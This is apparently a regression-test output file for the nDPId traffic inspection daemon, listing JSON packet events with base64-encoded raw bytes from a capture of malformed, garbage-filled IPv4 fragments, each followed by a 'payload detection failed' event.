+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3530,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42715,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3531,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42727,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3532,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42738,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3533,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42749,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3534,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42761,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3535,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42773,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3536,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3537,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3538,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42808,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3539,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42824,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3540,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42836,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3541,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42847,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3542,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42861,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3543,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42872,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3544,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42883,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3545,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42897,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3546,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42909,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3547,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42921,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3548,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42936,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3549,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42948,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3550,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42960,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3551,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42972,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3552,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42984,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3553,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":42995,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3554,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43007,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3555,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43019,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3556,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43035,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3557,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43047,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3558,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43059,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3559,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43071,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3560,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43084,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3561,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43095,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3562,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43108,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3563,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43120,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3564,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43133,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3565,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43145,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3566,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43153,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3567,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43165,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3568,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43176,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3569,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43218,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3570,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":3571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244028,"pkt_ts_usec":43230,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":3571,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 